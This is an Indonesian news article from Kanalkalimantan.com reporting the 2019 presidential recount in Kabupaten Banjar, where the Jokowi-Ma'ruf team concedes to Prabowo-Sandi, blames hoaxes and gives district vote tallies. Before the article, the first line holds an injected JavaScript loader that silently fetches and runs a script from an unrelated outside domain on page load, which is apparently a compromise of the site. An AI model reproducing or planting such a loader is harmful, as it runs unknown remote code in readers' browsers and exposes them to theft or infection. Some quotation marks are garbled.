(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Tim Kemenangan Daerah (TKD) Kabupaten Banjar mengakui kekalahan Capres nomor urut 1 Jokowi-KH Ma’ruf Amin. Isu hoaks dinilai terbukti ampuh mendongkrak suara untuk pasangan calon nomor urut presiden 02 Prabowo-Sandi.
Begitu dikatakan Sekretaris TKD 01 Banjar, Muhammad Hairi kepada Kanalkalimantan.com, usai hasil rapat pleno rekapitulasi tingkat Kabupaten Banjar. Dari hasil akhir pleno KPU Banjar, pasangan Jokowi-Ma’ruf Amin mengantongi 101.668 suara. Sedangkan perolehan Prabowo-Sandi berhasil meraup 215.065 suara.
“Kerja keras pendukung Jokowi-Ma’ruf tidak berhasil merebut hati warga Kabupaten Banjar, meski upaya kami di lapangan sudah maksimal, namun itulah hasilnya,†ujar Hairi.
Menurutnya, informasi hoaks yang beredar di beberapa media sosial jauh lebih mendominasi, sehingga mempengaruhi kemenangan Capres nomor urut 1 Jokowi-Ma’ruf Amin di Kabupaten Banjar. Isu hoaks yang menyerang Jokowi dengan cepat dikonsumsi warga Kabupaten Banjar.
“Isu (Hoaks) ini sampai ke ujung-ujung kampung, media sosial memberikan efek signifikan, walaupun TKD sudah melakukan pemasangan baliho dan atribut partai yang banyak hingga pakaian, hingga pelosok desa,†katanya.
Ketua KPU Kabupaten Banjar Muhaimin menyampaikan, hampir dari 20 kecamatan yang ada di Kabupaten banjar, perolehan suara pasangan Prabowo-Sandi lebih unggul dari pada perolehan suara Jokowi-Ma’ruf di setiap kecamatan.
“Selisih angka perolehan suara di setiap kecamatan cukup jauh. Paslon 02 ungguli paslon 01,†sebut Muhaimin, Rabu (8/5) kemarin.
Sebut saja di Kecamatan Aluh-aluh pasangan Jokowi-Ma’ruf meraup 6.674 suara. Sedangkan Prabowo-Sandiaga memeroleh 10.320 suara. Kemudian di Kecamatan Kertak Hanyar, pasangan Jokowi-Ma’ruf mengantongi 7.824 suara. Sedangkan Prabowo-Sandiaga mengantongi 16.078 suara.
Sementara di Kecamatan Gambut, pasangan Jokowi-Ma’ruf memeroleh 6.231 suara. Sedangkan Prabowo-Sandiaga mendulang 16.449 suara. Selanjutnya di Kecamatan Martapura juga dimenangkan pasangan Prabowo-Sandiaga dengan perolehan 41.037 sedangkan Jokowi-Ma’ruf hanya mengantongi sebanyak 18.301 suara.
Secara keseluruhan, jumlah warga yang menggunakan hak pilihnya ada 331.120 orang. Dari jumlah ini, sebanyak 316.733 suara dinyatakan sah dan 14.387 suara dinyatakan tidak sah. “Walaupun rapat pleno terbuka rekapitulasi hasil perhitungan perolehan suara pemilu ini agak molor namun, Alhamdulilah prosesnya berjalan hingga selesai,†pungkasnya. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.